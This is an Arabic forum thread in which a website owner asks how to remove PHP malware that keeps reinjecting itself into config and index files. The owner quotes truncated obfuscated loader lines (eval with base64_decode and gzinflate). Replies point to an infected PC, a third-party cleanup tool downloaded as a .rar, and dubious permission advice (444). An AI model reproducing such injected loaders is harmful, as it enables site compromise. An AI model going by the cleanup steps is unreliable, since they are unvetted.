اكواد خبيثه وصفحات وضعت ع موقعي من غير ما ادري كيف الصدّ!

[Fancy Qtr]

السلام عليكم

اخواني بالصدفه وانا اشيك ع مواقعي اشوف في الصفحه موضوع فيها اكواد سكربت ورابط موقع
مانه تارك شي الصراحه بعض السكربتات يضع نفسه في الكوفينق والاندكس وبعض الملفات
وهاي موب المره الاولى امسحهم اشوفهم يرجعون وشفت صفحات موضوعه ايضا؟؟

و ملف اسمه كوفينق بالرئيسيه

محتواه

<?PHP
$login = "";
$pass = "";
$md5_pass = "";
eval(gzinflate(base64_decode

و اكواد كثيره بعدها

وهذه باخر صفحه الاندكس

في الملف المرفق

وفي التوبيكات حاط هالكود فوق الاندكس والكوفينق

eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnanoxaGcnKSl7ZnVuY3Rpb24ganoxaGcoJHMpe2lmKHByZWdf 

'

طبعا هو اكثر من هذه الرموز هاي اوله بس

مالحل اخواني .. استخدم كيوت اف تي بي 8.3 .. هل يجب انه فقط من الفايل منجر بالسي بنل فقط وماهي الخطوات اللي تخليني اتفاده من هذي العمايل

[Abdulrahman Hassoun]

تأكد من حماية جهازك أولا ً .. أظن أن هناك فايروس ما بجهازك ويلغم كل الملفات المرفوعة بالإفتيبي

[Fancy Qtr]

حملت الافيرا .. اي نصايح يا خوان؟

[almksb]

حمل البرنامج التالى واتبع التعليمات المرفقه مع البرنامج وسيتم أزالة جميع الاكواد الخبيثة من صفحات موقعك.
http://www.copy77.com/all/falcon32/falcon32.rar

[Fancy Qtr]

مشكور اخوي لكن ماشوف الملفين اللي المفروض اضعهم بموقعي ؟؟

اخواني ابي حل ارجوكم 5 من مواقعي مصابين وابي حل كثير من الصفحات مصابه

[almksb]

مرفق ملفين باسم
Falcon_Directory.php
Falcon_clean.php


افتح الملفين
فى السطر الثانى
/home/Username/public_html/

أستبدل فقط كلمة
Username
باسم المستخدم للموقع

بعد ذلك أرفع الملفات الى الموقع فى المجلد
public_html

يجب ان يكون مسار الملفات كالتالى

http://www.Website.com/Falcon_Directory.php
http://www.Website.com/Falcon_clean.php

[Fancy Qtr]

مشكور اخوي واشتغل تمام

بس على اللي اشوفه الاصدار ديمو ياليت لو عندك الكامل..

لانه سوه سيرج وكل شي ومامسح ولا شي .. يعني سيرج عالفاضي !! ويقولي انه كل شي clean

[almksb]

أخى الفاضل
اقرأ التعليمات المرفقة مع برنامج جيدا
يجب أن تعطى التصاريح لملفات موقعك وليكن 444 مؤقتا حتى يتمكن البرنامج من ازالة الاكواد الخبيثة من الملفات